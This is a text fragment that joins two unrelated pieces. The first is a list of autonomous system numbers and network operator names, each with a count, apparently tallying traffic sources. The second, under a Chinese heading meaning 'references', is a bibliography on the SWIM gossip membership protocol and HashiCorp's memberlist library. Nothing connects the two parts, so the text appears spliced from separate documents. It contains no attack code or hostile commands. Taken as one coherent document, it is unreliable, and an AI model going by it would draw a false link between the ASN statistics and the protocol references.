AS26658|HT 1  
AS2609|Tunisia_BackBone_AS 1  
AS2549|Universidad_de_Guadalajara 1  
AS2516|KDDI_CORPORATION 1  
AS24940|Hetzner_Online_GmbH 1  
AS24521|PT._DATA_Utama_Dinamika 1  
AS24445|Henan_Mobile_Communications_Co.,Ltd 1  
AS24428|Beijing_Founder_Broadband_Network_Technology_Co.,Ltd 1  
AS24246|Internap_Network_Services 1  
AS24204|Satnetcom_Balikpapan_PT. 1  
AS23748|Cat_Networks_K.K. 1  
AS22552|eSited_Solutions 1  
AS21859|Zenlayer_Inc 1  
AS20299|Newcom_Limited 1  
AS19994|Rackspace_Hosting 1  
AS197071|Dennis_Rainer_Warnholz_trading_as_active-servers.com 1  
AS19429|Colombia 1  
AS18209|Atria_Convergence_Technologies_pvt_ltd 1  
AS18101|Reliance_Communications_Ltd.DAKC_MUMBAI 1  
AS17971|TM-VADS_DC_Hosting 1  
AS17968|Daqing_zhongji_petroleum_telecommunication_construction_limited_cpmpany 1  
AS17897|asn_for_Heilongjiang_Provincial_Net_of_CT 1  
AS17885|PT_Excelcomindo_Pratama 1  
AS17877|NexG_Co.,_LTD 1  
AS17775|shanghai_science_and_technology_network_communication_limited_company 1  
AS17762|Tata_Teleservices_Maharashtra_Ltd 1  
AS17623|China_Unicom_Shenzen_network 1  
AS17557|Pakistan_Telecommunication_Company_Limited 1  
AS17501|WorldLink_Communications_Pvt_Ltd 1  
AS16345|Public_Joint_Stock_Company_Vimpel-Communications 1  
AS138089|PT.Global_Media_Data_Prima 1  
AS138080|PT_Global_Media_Inti_Semesta 1  
AS138062|PT._Awan_Kilat_Semesta 1  
AS137547|Zhengzhou_Lulinke_Information_Technology_CO.Ltd. 1  
AS137539|China_Unicom 1  
AS137185|HK_GALAXY_TELECOM_HOLDING_CO.,LIMITED 1  
AS137098|Delix_Net_Solution_Pvt._Ltd 1  
AS136970|YISU_CLOUD_LTD 1  
AS136958|China_Unicom_Guangdong_IP_network 1  
AS136782|Kirin_Networks 1  
AS136561|KS_Network_Ltd 1  
AS135905|VIETNAM_POSTS_AND_TELECOMMUNICATIONS_GROUP 1  
AS135636|Rackh_Lintas_Asia,_pt 1  
AS135357|Shenzhen_Katherine_Heng_Technology_Information_Co.,_Ltd. 1  
AS135100|Maxnet_Online_Limited 1  
AS134858|iForce_Networks 1  
AS134835|Starry_Network_Limited 1  
AS134810|China_Mobile_Group_JiLin_communications_corporation 1  
AS134774|CHINANET_Guangdong_province_Shenzhen_MAN_network 1  
AS134766|CHINANET_Sichuan_province_Chengdu_MAN_network 1  
AS134761|CHINANET_Sichuan_province_Chengdu_MAN_network 1  
AS134756|CHINANET_Nanjing_IDC_network 1  
AS134553|i-Skill_Dynamics_Sdn_Bhd 1  
AS134520|GigsGigs_Network_Services 1  
AS134285|Andhra_Bank 1  
AS134238|CHINANET_Jiangx_province_IDC_network 1  
AS134088|NGN_Connection_Sdn._Bhd. 1  
AS134078|NETPLUZ_HOLDINGS_PRIVATE_LIMITED 1  
AS133847|Anpple_Tech_Enterprise 1  
AS133779|Huayun_Data_International_Limited 1  
AS133776|Quanzhou 1  
AS133731|Xinyuan_Interconnect_(HK)_Limited 1  
AS133525|Nimbus2_Pty_Ltd 1  
AS133453|Mogul_Service_and_Support_LLC 1  
AS133398|Tele_Asia_Limited 1  
AS133364|Politeknik_Negeri_Jakarta 1  
AS133273|Tata_Institute_of_Social_Sciences 1  
AS133232|SAMPARK_ESTATES_PVT._LTD. 1  
AS133118|China_Unicom_IP_network 1  
AS132974|Suraj_Network 1  
AS132883|TOPWAY_GLOBAL_LIMITED 1  
AS132692|GlobiCom_Limited 1  
AS132325|LEMON_TELECOMMUNICATIONS_LIMITED 1  
AS132116|Ani_Network_Pvt_Ltd 1  
AS131755|PT_Axarva_Media_Teknologi 1  
AS131427|AOHOAVIET 1  
AS131423|Branch_of_Long_Van_System_Solution_JSC_-_Hanoi 1  
AS131353|NhanHoa_Software_company 1  
AS131324|92Cloud_Technology_Co.,_Limited 1  
AS131090|CAT_TELECOM_Public_Company_Ltd,CAT 1  
AS11343|Webhosting_Holdings_LLC 1  
AS10109|Topica_LLC,_Internet_Service_Provider,Ulaanbaatar,_Mongolia 1  
AS10105|OMNIconnect_Pty_Ltd 1  
AS10094|Telekom_Brunei_Berhad 1  
AS10045|Hanbat_National_University 1  
ASReserved; 2  
ASNone; 1

8. 参考资料：

• SWIM: Scalable Weakly-consistent Infection-style Process Group Membership Protocol
• SWIM: The scalable membership protocol
• SWIM Protocol Explained
• Gossip Protocol
• Lifeguard: Local Health Awareness for More Accurate Failure Detection
• Memberlist: Golang package for gossip based membership and failure detection
• Godoc for memberlist
• Hashicorp memberlist 分析